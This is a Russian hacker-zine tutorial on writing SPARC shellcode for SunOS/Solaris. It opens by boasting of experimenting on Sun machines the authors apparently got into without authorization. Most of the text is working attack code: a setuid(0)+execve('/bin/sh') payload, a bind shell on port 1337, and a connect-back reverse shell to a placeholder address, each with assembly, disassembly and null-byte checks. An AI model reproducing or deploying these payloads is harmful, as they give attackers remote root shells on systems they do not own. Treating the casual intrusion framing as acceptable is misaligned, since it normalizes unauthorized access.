--== SPARC SHELLCODING ==--
content list
- intro
- hello world ^^
- execve() shit
- work with descriptors
- bind shell
- fuckout
Совсем недавно мы наткнулись на сабнет с кучей сановских машинок и вот
решили наваять статью по ассемблеру под SunOs/Solaris (благо для опытов
обламилась пара нехилых боксов c 64-битной UltraSparc и SunOS 5.8 без
признаков админа внтури ;)).
Сперва небольшое введение. SPARC == Scalable Processor ARChitecture,
то бишь проц с масштабируемой архитектурой, разрабатывался он в Беркли
между 1984 и 1987 на базе архитектуры RISC (Reduced Instruction Set
Computer), которая немногим ранее разрабатывалась там же (1982-1984).
Смысл RISC состоит в том, чтобы сделать проц с упрощённой системой
команд и соответственно более производительный. К примеру на первых
спарках было всего 32 команды. Стоит заметить что RISC-проц благодаря
урезанному набору команд и стоит дешевле, что есть кул. Так что, как
говорится, RISC спасёт мир )
Теперь про сановские оси: т.к. дело было в Беркли, то соответсвенно
юниксы под спарк были основанны на BSD-unix, поэтому скажем с сокетами
работать можно также как в net/free_BSD без всяких socketcall'ов.
Первые SunOS были чисто консольными, зато в Solaris (sunos 5.х и есть
соляра) gui была внедрена очень прочно (aka CDE = Common desktop
environment).
Собственно что мы имеем:
sun~% uname -a
SunOS no1 5.8 Generic_108528-29 sun4u sparc SUNW,UltraAX-i2
Стоит добавить что с тамошними binutils-like софтинами возник казус,
по дефолту видимо туда не ставится набор столь нужных утилит. Зато в
дире /usr/ccs/bin были обнаружены что-то наподобие их заменителей.
sun~% ls -l /usr/ccs/bin
total 4078
-rwxr-xr-x 1 bin bin 49768 Nov 3 1999 admin
-r-xr-xr-x 1 root bin 28112 Dec 2 00:55 ar
-rwxr-xr-x 1 bin bin 355348 Aug 20 1999 as
-rwxr-xr-x 1 bin bin 46292 Nov 3 1999 cdc
-rwxr-xr-x 1 bin bin 34016 Nov 3 1999 comb
-rwxr-xr-x 1 bin bin 64260 Nov 3 1999 delta
-r-xr-xr-x 1 root bin 125844 Jul 20 2000 dis
-r-xr-xr-x 1 root bin 91700 Dec 2 00:55 dump
-r-xr-xr-x 1 root bin 41860 Dec 2 00:55 elfdump
-r-xr-xr-x 1 root bin 31432 Jan 6 2000 error
-rwxr-xr-x 1 bin bin 57752 Nov 3 1999 get
-r-xr-xr-x 1 root bin 90552 Jan 6 2000 gprof
-r--r--r-- 1 root bin 3377 Jan 6 2000 gprof.callg.blurb
-r--r--r-- 1 root bin 1606 Jan 6 2000 gprof.flat.blurb
-rwxr-xr-x 1 bin bin 4872 Nov 3 1999 help
-r-xr-xr-x 1 root bin 32108 Dec 1 18:32 lari
-rwxr-xr-x 1 root bin 7544 Dec 2 00:55 ld
-r-xr-xr-x 1 root bin 74524 Jan 6 2000 lex
-r-xr-xr-x 1 root bin 2526 Jan 6 2000 lorder
-r-xr-xr-x 1 root bin 31608 Jan 6 2000 m4
-rwxr-xr-x 1 bin bin 269520 Sep 13 1999 make
-r-xr-xr-x 2 root bin 29936 Dec 2 00:55 mcs
-rw-r--r-- 1 root bin 8424 Jan 6 2000 nceucform
-rw-r--r-- 1 root bin 5885 Jan 6 2000 ncform
-r-xr-xr-x 1 root bin 64528 Dec 2 00:55 nm
-rw-r--r-- 1 root bin 3198 Jan 6 2000 nrform
-r-xr-xr-x 1 root bin 73336 Jan 6 2000 prof
-rwxr-xr-x 1 bin bin 41352 Nov 3 1999 prs
-rwxr-xr-x 1 bin bin 20964 Nov 3 1999 prt
-r-xr-xr-x 1 root bin 375 Jan 6 2000 ranlib
-r-xr-xr-x 1 root bin 7364 Jan 6 2000 regcmp
-rwxr-xr-x 1 bin bin 46292 Nov 3 1999 rmdel
-rwxr-xr-x 1 bin bin 27620 Nov 3 1999 sact
-rwxr-xr-x 1 bin bin 50560 Nov 3 1999 sccs
-rwxr-xr-x 1 bin bin 2824 Nov 3 1999 sccsdiff
-r-xr-xr-x 1 root bin 10684 Dec 2 00:55 size
drwxr-xr-x 2 root bin 512 Mar 15 14:05 sparcv9
-r-xr-xr-x 2 root bin 29936 Dec 2 00:55 strip
-r-xr-xr-x 1 root bin 335 Jan 6 2000 symorder
-r-xr-xr-x 1 root bin 10580 Jan 6 2000 tsort
-rwxr-xr-x 1 bin bin 27620 Nov 3 1999 unget
-r-xr-xr-x 1 root bin 10096 Jan 6 2000 unifdef
-rwxr-xr-x 1 bin bin 17496 Nov 3 1999 val
-rwxr-xr-x 1 bin bin 16592 Nov 3 1999 vc
-rwxr-xr-x 1 bin bin 9360 Nov 3 1999 what
-r-xr-xr-x 1 root bin 56228 Jan 6 2000 yacc
-rw-r--r-- 1 root bin 11853 Jan 6 2000 yaccpar
Особенности синтаксиса.
Краткий список регистров:
global registers %g0 .. %g7 (aka %r0..%r7 )
output registers %o0 .. %o7 (aka %r8..%r15 )
local registers %l0 .. %l7 (aka %r16..%r23 )
input registers %i0 .. %i7 (aka %r24..%r31 )
stack pointer %sp (aka %o6 aka %r14)
frame pointer %fp (aka %i6 aka %r30)
Глобальные регистры используется системой, скажем в %g1 при обращении к
ядру указывается номер системного вызова. Кстати, kernel trap на SPARC
в старых SunOS ( < 4.x) вызывается так:
ta 0 ! кстати комменты отделяются восклицательным знаком ;)
В Solaris и SunOS так:
ta 8
mov 666, %l0 - mov позволяет класть в регистр half word, тоесть 2
байта (-4095..4095).
set 0xdefaced, %l0 - заталкиваем в регистр %l0 полноценный word, т.е. 4
байта всего.
Для арифметических функций используется 3 операнда. Примеры:
add a,b,c что означает c=a+b, тоесть операнд С указывает куда класть
sub a,b,c результат. Удобно, не правда ли?
Также работа со стеком слегка отличается:
store, aka st - позволяет грохать в стек содержимое одного 32х битного
регистра (в RISC размер команд и регистров фиксирован)
st a, [ %sp - <offset> ] А - регистр, пихается в стек по смещению offset
в байтах конечно ) Аналог push. Если в качестве
второго аргумента указать не %sp, то данные
соответственно будут ложиться по тому адресу,не
в стек, а куда будет указано.
store double, aka std - грохаем 2 смежных регистра, в итоге 64 бита.
std a, [ %sp - <offset> ] А - первый из регистров, второй A+1.Пример:
std %l0, [ %sp - 12 ] В стек по смещению -12 кладётся содержимое 2х
регистров %l0 и %l1.
lds [ %sp - 12 ], %l0 взять 4 байта по адресу stack_porinter - 12 и
дропнуть их в регистр %l0. Аналог pop.
Встречаются также разновидности этих команд типа:
sth - store half word, дропнуть 2 байта
stb - store byte, дропнуть 1 байт
Пару слов стоит сказать о cmp и обработке вариантов, пример:
/*
if (a == b){
CODE_A
} else {
CODE_B
}
*/
cmp %o1, %l0
bne .L1
CODE_A
.L1:
CODE_B
Итак, integer condition codes:
b* comment
be ==
bne !=
bl <
bg >
ble <=
bge >=
bn never (наверное что-то ужасное ^^)
bz zero
bnz not zero
Да, чуть не забыл - SPARC это Big endian! Вообще системы с процами типа
V9 поддерживают и little-endian, но для совместимости будем юзать big,
а то x86 уже затрахал. Вот и пример:
sun~% cat test.s
! dumb write(1, "A55\n", 4) prog
.text
.align 4
.global _start
_start:
! write()
mov 1, %o0 ! первый аргумент = stdout
mov 4, %o2 ! третий аргумент = длина строки
mov 4, %g1 ! write syscall
set 0x4135350a, %l0 ! local register 0 == "A55\n"
st %l0, [ %sp - 8 ] ! кладём содержимое %l0 в стек со смещением -8
sub %sp, 8, %o1 ! адрес начала строки помещаем как второй аргумент
ta 8 ! kernel trap
! exit()
mov 0, %o0 ! первый аргумент = 0
mov 1, %g1 ! exit syscall
ta 8 ! kernel trap
Теперь потестим:
sun~% /usr/ccs/bin/as -o test.o test.s
sun~% /usr/ccs/bin/ld -o test test.o
sun~% ./test
A55
sun~%
Заебись! ^) Посмотрим дизасм нашего кода:
sun~% /usr/ccs/bin/dis test
disassembly for /home/satana/test
section .text
101d8: 90 10 20 01 mov 1, %o0
101dc: 94 10 20 04 mov 4, %o2
101e0: 82 10 20 04 mov 4, %g1
101e4: 21 10 4d 4d sethi %hi(0x41353400), %l0
101e8: a0 14 21 0a or %l0, 0x10a, %l0 ! 0x4135350a
101ec: e0 23 bf f8 st %l0, [%sp - 8]
101f0: 92 23 a0 08 sub %sp, 8, %o1
101f4: 91 d0 20 08 ta 0x8
101f8: 90 10 20 00 clr %o0
101fc: 82 10 20 01 mov 1, %g1
10200: 91 d0 20 08 ta 0x8
sun~%
Обратите внимание на фиксированную длину команд! Размер шеллкода
получится не абы какой конечно, зато производительность таких камешков
нехило опережает всякие пни, целероны, атлоны и дурни ;P.
Попробуем написать setuid(0) + execve() код:
sun~% cat /usr/include/sys/syscall.h | grep setuid
#define SYS_setuid 23
sun~% cat /usr/include/sys/syscall.h | grep execve
#define SYS_execve 59
sun~% cat execve.s
! dumb setuid(0) + execve()
.text
.align 4
.global _start
_start:
! lol
! setuid();
mov 23, %g1 ! setuid syscall = 23
xor %g1, %g1, %o0 ! arg1 = uid
ta 8
! execve();
set 0x2f2f6269, %l0
set 0x6e2f7368, %l1
std %l0, [ %sp - 24 ]
clr [ %sp - 16 ] ! push zero at the end of string
sub %sp, 24, %o0 ! arg1 = filename
st %o0, [ %sp - 12 ]
clr [ %sp - 8 ]
sub %sp, 12, %o1 ! arg2 = argv
xor %o1,%o1,%o2 ! arg3 = null-envp
mov 59, %g1
ta 8
! exit()
mov 1, %g1
ta 8
sun~% su
bla-bla-bla
root@omfg`# as -o exec.o exec.s
root@omfg`# ld -o exec exec.o
root@omfg`# chmod 4755 ./exec; exit
sun~% id
uid=99(sun) gid=1(others)
sun~% ./exec
# id
uid=0(root) euid=0(root) gid=1(others)
# exit
sun~% /usr/ccs/bin/dis ./exec
**** DISASSEMBLER ****
disassembly for ./exec
section .text
101dc: 82 10 20 17 mov 0x17, %g1
101e0: 90 18 40 01 xor %g1, %g1, %o0
101e4: 91 d0 20 08 ta 0x8
101e8: 21 0b cb d8 sethi %hi(0x2f2f6000), %l0
101ec: a0 14 22 69 or %l0, 0x269, %l0 ! 0x2f2f6269
101f0: 23 1b 8b dc sethi %hi(0x6e2f7000), %l1
101f4: a2 14 63 68 or %l1, 0x368, %l1 ! 0x6e2f7368
101f8: e0 3b bf e8 std %l0, [%sp - 0x18]
101fc: c0 23 bf f0 clr [%sp - 0x10]
10200: 90 23 a0 18 sub %sp, 0x18, %o0
10204: d0 23 bf f4 st %o0, [%sp - 0xc]
10208: c0 23 bf f8 clr [%sp - 0x8]
1020c: 92 23 a0 0c sub %sp, 0xc, %o1
10210: 94 1a 40 09 xor %o1, %o1, %o2
10214: 82 10 20 3b mov 0x3b, %g1
10218: 91 d0 20 08 ta 0x8
1021c: 82 10 20 01 mov 0x1, %g1
10220: 91 d0 20 08 ta 0x8
sun~%
Что и требовалось доказать ;)
Результат:системные вызовы возвращают в регистр %o0, иногда в %o1 - ( к
примеру getuid() в кладёт uid в %o0 и euid - в %o1). Попробуем написать
небольшой пример, исходя из полученной инфы:
sun~% cat /usr/include/sys/fcntl.h | greop O_
#define O_RDONLY 0
#define O_WRONLY 1
#define O_RDWR 2
#define O_NDELAY 0x04 /* non-blocking I/O */
#define O_APPEND 0x08 /* append (writes guaranteed at the end) */
#define O_SYNC 0x10 /* synchronized file update option */
#define O_DSYNC 0x40 /* synchronized data update option */
#define O_RSYNC 0x8000 /* synchronized file update option */
#define O_NONBLOCK 0x80 /* non-blocking I/O (POSIX) */
#define O_PRIV 0x1000 /* Private access to file */
#define O_LARGEFILE 0x2000
#define O_CREAT 0x100 /* open with file create (uses third arg) */
#define O_TRUNC 0x200 /* open with truncation */
#define O_EXCL 0x400 /* exclusive open */
#define O_NOCTTY 0x800 /* don't allocate controlling tty (POSIX) */
#define O_XATTR 0x4000 /* extended attribute */
#define F_O_GETLK 5 /* SVR3 Get file lock (need for rfs, across */
#define O_ACCMODE 3 /* Mask for file access modes */
#define DIRECTIO_OFF (0)
#define DIRECTIO_ON (1)
sun~% echo good; echo > /tmp/zzz
good
sun~% cat test2.s
! mess with filezz xmpl
.text
.align 4
.global _start
_start:
! open()
mov 1, %o1 ! O_WRONLY
set 0x2f746d70, %l0
set 0x2f7a7a7a, %l1
std %l0, [ %sp - 16 ]
sub %sp, 0x10, %o0 ! filename
clr [ %sp - 8 ]
mov 5, %g1 ! open syscall
ta 8
! write()
mov %o0,%l2
mov 4, %o2
mov 4, %g1
set 0x4135350a, %l0
st %l0, [ %sp - 8 ]
sub %sp, 8, %o1
ta 8
! close()
mov %l2, %o0
mov 6, %g1
ta 8
! exit(1)
mov 1, %o0
mov %o0, %g1
ta 8
sun~% /usr/ccs/bin/as -o test2.o test2.s
sun~% /usr/ccs/bin/ld -o test2 test2.o
sun~% ./test2; cat /tmp/zzz
A55
sun~% uname -a
SunOS no1 5.9 Generic_117171-07 sun4u sparc SUNW,Sun-Fire-V210
sun~%
Прога работает, и между тем админы успели проапгрейдить систему до 5.9(
не знал что такая есть =)).
Ладно, теперь пора бы разобраться с сетевой частью. Bind-shell в данном
случае будет вполне уместен, так что приступим:
sun~% cat /usr/include/sys/socket.h | grep SOCK_
#define SOCK_STREAM NC_TPI_COTS /* stream socket */
#define SOCK_DGRAM NC_TPI_CLTS /* datagram socket */
#define SOCK_RAW NC_TPI_RAW /* raw-protocol interface */
#define SOCK_STREAM 2 /* stream socket */
#define SOCK_DGRAM 1 /* datagram socket */
#define SOCK_RAW 4 /* raw-protocol interface */
#define SOCK_RDM 5 /* reliably-delivered message */
#define SOCK_SEQPACKET 6 /* sequenced packet stream */
sun~% cat /usr/include/netinet/in.h | grep TCP
#define IPPROTO_TCP 6 /* tcp */
* UNIX TCP sockets
Пока всё в порядке..
sun~% cat /usr/include/sys/syscall.h | grep socket
#define SYS_so_socket 230
#define SYS_so_socketpair 231
...
#define SYS_so_socketpair 231
#define SYS_bind 232
#define SYS_listen 233
#define SYS_accept 234
#define SYS_connect 235
А вот dup2() не оказалось! Чтобы оптимизировать код, посмотрим как идёт
распределение дескрипторов:
sun~% cat open.c
#include <stdio.h>
#include <fcntl.h>
main()
{
int i,fd;
char buf[255];
fd = open("./damn", 2);
close(0);
i = dup(fd);
memset(&buf, 0, 255);
sprintf(buf, "got descriptor %i\n", i);
write(fd, &buf, strlen(buf));
close(1);
i = dup(fd);
memset(&buf, 0, 255);
sprintf(buf, "got descriptor %i\n", i);
write(fd, &buf, strlen(buf));
close(2);
i = dup(fd);
memset(&buf, 0, 255);
sprintf(buf, "got descriptor %i\n", i);
write(fd, &buf, strlen(buf));
close(fd);
return 0;
}
sun~% /usr/local/bin/gcc -o open open.c
sun~% echo > damn; ./open
sun~% cat ./damn
got descriptor 0
got descriptor 1
got descriptor 2
sun~%
Хорошо, значит нам будет достаточно закрыть 0..2 дескрипторы и вызвать
3 раза dup(sock), должно получиться. Проверим, в каких регистрах после
обращения к ядру сохраняются исходные данные,это поможет оптимизировать
код:
sun~% cat xmpla.s
.text
.align 4
.global _start
_start:
mov 6, %g1
xor %g1, %g1, %o0
ta 8
mov 1, %o0 ! optimized ops
ta 8
mov 2, %o0 ! yeah
ta 8
! write()
mov 4, %g1
mov 4, %o2
set 0x4135350a, %l0
st %l0, [ %sp - 8 ]
sub %sp, 8, %o1
mov 1, %o0
ta 8
mov 4, %g1
mov 4, %o2
set 0x4236360a, %l0
st %l0, [ %sp - 8 ]
sub %sp, 8, %o1
mov 2, %o0
ta 8
! exit()
mov 1, %o0
mov %o0, %g1
ta 8
sun~% /usr/ccs/bin/as -o ts.o tst.s
sun~% /usr/ccs/bin/ld -o ts ts.o
sun~% ./ts
sun~% okay seems like close works fine..
sun~% cat xmplb.s
.text
.align 4
.global _start
_start:
mov 6, %g1
xor %g1, %g1, %o0
ta 8
mov 2, %o0 ! yeah
ta 8
! write()
mov 4, %g1
mov 4, %o2
set 0x4135350a, %l0
st %l0, [ %sp - 8 ]
sub %sp, 8, %o1
mov 1, %o0
ta 8
mov 4, %g1
mov 4, %o2
set 0x4236360a, %l0
st %l0, [ %sp - 8 ]
sub %sp, 8, %o1
mov 2, %o0
ta 8
! exit()
mov 1, %o0
mov %o0, %g1
ta 8
sun~% /usr/ccs/bin/as -o ts.o tst.s
sun~% /usr/ccs/bin/ld -o ts ts.o
sun~% ./ts
A55
sun~% SUPAh!
Прекрасно, теперь стоит призадуматься над написанием bind-sock шеллкода
без нулей. К сожалению, коды операций с регистрами %g0 и %o0 зачастую
содержат null-bytez, что для нас не подходит. Сперва пара слов о том,
как ядро выдаёт дескрипторы.
Итак, сперва, процесс получает дескрипторы 0, 1, 2. Потом, при вызове
socket() возвращает 3, и наконец accept() выдаёт 4. Эта схема работает
и в том случае, когда открыто несколько дескрипторов. Пример с dup():
open() = 3
...
open() = 6
close(2)
dup(6) = 2
То есть ядро, при создании нового дескриптора, пробегает сначала по
всему списку и если оказывается, что один из слотов свободен, там и
создаётся new fd. Show time!
sun~% cat sparc-bind.s
! bind sock at port 1337
.text
.align 4
.global _start
_start:
! close(3)
mov 6, %g1
mov 3, %o0
ta 8
! close(4)
mov 4, %o0
ta 8
! socket(AF_INET, SOCK_STREAM, TCP)
mov 230, %g1 ! socket syscall
mov 2, %o0 ! AF_INET
mov 2, %o1 ! SOCK_STREAM
mov 6, %o2 ! TCP
ta 8
! bind()
mov 232, %g1 ! bind syscall
mov 2, %l0
sth %l0, [ %sp - 20 ] ! 2
mov 1337, %l0
sth %l0, [ %sp - 18 ] ! 1337
clr [ %sp - 16 ] ! inaddr_any
clr [ %sp - 12 ]
clr [ %sp - 8 ]
sub %sp, 20, %o1
mov 16, %o2 ! sizeof sockaddr_in
ta 8
! listen()
mov 233, %g1 ! listen syscall
mov 3, %o0 ! sock
clr %o1 ! 1
ta 8
! accept()
clr %g1
mov 234, %o0
mov 3, %o1
clr [ %sp - 8]
sub %sp, 8, %o3
mov %o3, %o2
ta 8
! dup = 41
! close(0..2)
mov 6, %g1
xor %g1, %g1, %o0
ta 8
mov 1, %o0
ta 8
mov 2, %o0
ta 8
mov 41, %g1 ! dup()
mov 4, %o0
ta 8
mov 4, %o0
ta 8
mov 4, %o0
ta 8
! execve()
set 0x2f2f6269, %l0
set 0x6e2f7368, %l1
std %l0, [ %sp - 24 ]
clr [ %sp - 16 ] ! push zero at the end of string
sub %sp, 24, %o0 ! arg1 = filename
st %o1, [ %sp - 12 ]
clr [ %sp - 8 ]
sub %sp, 12, %o1 ! arg2 = argv
xor %o1,%o1,%o2 ! arg3 = null-envp
mov 59, %g1
ta 8
! exit()
mov 1, %g1
ta 8
sun~% /usr/ccs/bin/as -o bd.o bind.s
sun~% /usr/ccs/bin/ld -o bd bd.o
sun~% /usr/ccs/bin/dis ./bd
**** DISASSEMBLER ****
disassembly for /tmp/bd
section .text
101d8: 82 10 20 06 mov 0x6, %g1
101dc: 90 10 20 03 mov 0x3, %o0
101e0: 91 d0 20 08 ta 0x8
101e4: 90 10 20 04 mov 0x4, %o0
101e8: 91 d0 20 08 ta 0x8
101ec: 82 10 20 e6 mov 0xe6, %g1
101f0: 90 10 20 02 mov 0x2, %o0
101f4: 92 10 20 02 mov 0x2, %o1
101f8: 94 10 20 06 mov 0x6, %o2
101fc: 91 d0 20 08 ta 0x8
10200: 82 10 20 e8 mov 0xe8, %g1
10204: a0 10 20 02 mov 0x2, %l0
10208: e0 33 bf ec sth %l0, [%sp - 0x14]
1020c: a0 10 25 39 mov 0x539, %l0
10210: e0 33 bf ee sth %l0, [%sp - 0x12]
10214: c0 23 bf f0 clr [%sp - 0x10]
10218: c0 23 bf f4 clr [%sp - 0xc]
1021c: c0 23 bf f8 clr [%sp - 0x8]
10220: 92 23 a0 14 sub %sp, 0x14, %o1
10224: 94 10 20 10 mov 0x10, %o2
10228: 91 d0 20 08 ta 0x8
1022c: 82 10 20 e9 mov 0xe9, %g1
10230: 90 10 20 03 mov 0x3, %o0
10234: 92 1a 40 09 xor %o1, %o1, %o1
10238: 91 d0 20 08 ta 0x8
1023c: 82 10 00 00 clr %g1
10240: 90 10 20 ea mov 0xea, %o0
10244: 92 10 20 03 mov 0x3, %o1
10248: c0 23 bf f8 clr [%sp - 0x8]
1024c: 96 23 a0 08 sub %sp, 0x8, %o3
10250: 94 23 a0 08 sub %sp, 0x8, %o2
10254: 91 d0 20 08 ta 0x8
10258: 82 10 20 06 mov 0x6, %g1
1025c: 90 18 40 01 xor %g1, %g1, %o0
10260: 91 d0 20 08 ta 0x8
10264: 90 10 20 01 mov 0x1, %o0
10268: 91 d0 20 08 ta 0x8
1026c: 90 10 20 02 mov 0x2, %o0
10270: 91 d0 20 08 ta 0x8
10274: 82 10 20 29 mov 0x29, %g1
10278: 90 10 20 04 mov 0x4, %o0
1027c: 91 d0 20 08 ta 0x8
10280: 90 10 20 04 mov 0x4, %o0
10284: 91 d0 20 08 ta 0x8
10288: 90 10 20 04 mov 0x4, %o0
1028c: 91 d0 20 08 ta 0x8
10290: 21 0b cb d8 sethi %hi(0x2f2f6000), %l0
10294: a0 14 22 69 or %l0, 0x269, %l0 ! 0x2f2f6269
10298: 23 1b 8b dc sethi %hi(0x6e2f7000), %l1
1029c: a2 14 63 68 or %l1, 0x368, %l1 ! 0x6e2f7368
102a0: e0 3b bf e8 std %l0, [%sp - 0x18]
102a4: c0 23 bf f0 clr [%sp - 0x10]
102a8: 90 23 a0 18 sub %sp, 0x18, %o0
102ac: d2 23 bf f4 st %o1, [%sp - 0xc]
102b0: c0 23 bf f8 clr [%sp - 0x8]
102b4: 92 23 a0 0c sub %sp, 0xc, %o1
102b8: 94 1a 40 09 xor %o1, %o1, %o2
102bc: 82 10 20 3b mov 0x3b, %g1
102c0: 91 d0 20 08 ta 0x8
102c4: 82 10 20 01 mov 0x1, %g1
102c8: 91 d0 20 08 ta 0x8
В ходе написания шеллкода, обнаружилась такая вот магическая хрень:
если данный код на асме просто собрать и запустить, то прога вывалиться
в момент. А если аналогичный код вкрутить через директиву __asm__() в
сишный код,то всё пашет нормально. По началу возникали вопросы, на тему
что за хуйня - работает всё произвольно и через раз. Если вы читали
"Солярис" Станислава Лема, то пожалуй вы поймёте )) Собственно по ходу
всех контактов с волшебной осью, что-нибудь оказывалось неожиданно
не в теме. Возникали подозрения на "злоебучий мать-его компилер асма",
потом на организацию памяти и т.д. До конца не удалось выяснить, какого
черта написанный на асме код пашет только если его запихать в си.
По аналогии с bind-sock пишется и connect-back (то есть наобум %)):
sun~% cat conb.s
.text
.align 4
.global _start
_start:
mov 6, %g1
mov 3, %o0
ta 8
mov 4, %o0
ta 8
! socket()
mov 230, %g1 ! socket syscall
mov 2, %o0 ! AF_INET
mov 2, %o1 ! SOCK_STREAM
mov 6, %o2 ! TCP
ta 8
! connect()
mov 235, %g1 ! connect syscall
mov 2, %l0
sth %l0, [ %sp - 20 ] ! 2
mov 1337, %l0
sth %l0, [ %sp - 18 ] ! 1337 - remote port
set 0xdefaced, %l1 ! remote IP
st %l1, [ %sp - 16 ]
clr [ %sp - 12 ]
clr [ %sp - 8 ]
sub %sp, 20, %o1
mov 16, %o2 ! sizeof sockaddr_in
ta 8
! close
mov 6, %g1
xor %g1, %g1, %o0
ta 8
mov 1, %o0
ta 8
mov 2, %o0
ta 8
! dup
mov 41, %g1
mov 3, %o0
ta 8
mov 3, %o0
ta 8
mov 3, %o0
ta 8
! execve()
set 0x2f2f6269, %l0
set 0x6e2f7368, %l1
std %l0, [ %sp - 24 ]
clr [ %sp - 16 ] ! push zero at the end of string
sub %sp, 24, %o0 ! arg1 = filename
xor %o1,%o1,%o2 ! arg3 = null-envp
mov 59, %g1
ta 8
! exit()
mov 1, %g1
ta 8
sun~% echo ok
...
sun~% /usr/ccs/bin/dis ./cb
**** DISASSEMBLER ****
disassembly for /tmp/cb
section .text
101d8: 82 10 20 06 mov 0x6, %g1
101dc: 90 10 20 03 mov 0x3, %o0
101e0: 91 d0 20 08 ta 0x8
101e4: 90 10 20 04 mov 0x4, %o0
101e8: 91 d0 20 08 ta 0x8
101ec: 82 10 20 e6 mov 0xe6, %g1
101f0: 90 10 20 02 mov 0x2, %o0
101f4: 92 10 20 02 mov 0x2, %o1
101f8: 94 10 20 06 mov 0x6, %o2
101fc: 91 d0 20 08 ta 0x8
10200: 82 10 20 eb mov 0xeb, %g1
10204: a0 10 20 02 mov 0x2, %l0
10208: e0 33 bf ec sth %l0, [%sp - 0x14]
1020c: a0 10 25 39 mov 0x539, %l0
10210: e0 33 bf ee sth %l0, [%sp - 0x12]
10214: 23 03 7b eb sethi %hi(0xdefac00), %l1
10218: a2 14 60 ed or %l1, 0xed, %l1 ! 0xdefaced
1021c: e2 23 bf f0 st %l1, [%sp - 0x10]
10220: c0 23 bf f4 clr [%sp - 0xc]
10224: c0 23 bf f8 clr [%sp - 0x8]
10228: 92 23 a0 14 sub %sp, 0x14, %o1
1022c: 94 10 20 10 mov 0x10, %o2
10230: 91 d0 20 08 ta 0x8
10234: 82 10 20 06 mov 0x6, %g1
10238: 90 18 40 01 xor %g1, %g1, %o0
1023c: 91 d0 20 08 ta 0x8
10240: 90 10 20 01 mov 0x1, %o0
10244: 91 d0 20 08 ta 0x8
10248: 90 10 20 02 mov 0x2, %o0
1024c: 91 d0 20 08 ta 0x8
10250: 82 10 20 29 mov 0x29, %g1
10254: 90 10 20 03 mov 0x3, %o0
10258: 91 d0 20 08 ta 0x8
1025c: 90 10 20 03 mov 0x3, %o0
10260: 91 d0 20 08 ta 0x8
10264: 90 10 20 03 mov 0x3, %o0
10268: 91 d0 20 08 ta 0x8
1026c: 21 0b cb d8 sethi %hi(0x2f2f6000), %l0
10270: a0 14 22 69 or %l0, 0x269, %l0 ! 0x2f2f6269
10274: 23 1b 8b dc sethi %hi(0x6e2f7000), %l1
10278: a2 14 63 68 or %l1, 0x368, %l1 ! 0x6e2f7368
1027c: e0 3b bf e8 std %l0, [%sp - 0x18]
10280: c0 23 bf f0 clr [%sp - 0x10]
10284: 90 23 a0 18 sub %sp, 0x18, %o0
10288: 94 1a 40 09 xor %o1, %o1, %o2
1028c: 82 10 20 3b mov 0x3b, %g1
10290: 91 d0 20 08 ta 0x8
10294: 82 10 20 01 mov 0x1, %g1
10298: 91 d0 20 08 ta 0x8
$ /usr/ccs/bin/dis /tmp/cb | grep 00
10200: 82 10 20 eb mov 0xeb, %g1
10214: 23 03 7b eb sethi %hi(0xdefac00), %l1
1026c: 21 0b cb d8 sethi %hi(0x2f2f6000), %l0
10274: 23 1b 8b dc sethi %hi(0x6e2f7000), %l1
В качестве итога был написан простой генератор шеллкодов(look @include/
asm_sparc/gen_sparc.c). Он весьма прост и ограничен в возможностях, но
если вы пользуетесь подобного рода варезом то этого должно хватить. Те
кто хочет сваять что-либо сложнее банального fork/seteuid/bla-bla-bla+
execve как правило не пользуются всякими генераторами ;P
з.ы. вывод от ds: ну нахуй такие операционки с тьмой недокументированных
возможностей ) joke. haha... well..
з.з.ы. возможно, что проблема возникал из-за того, что gcc был от новой,
расширенной архитектуры (sparcv9), а as и ld - от старой (sparcv7).
Have a nice day! (and check include/asm_sparc/)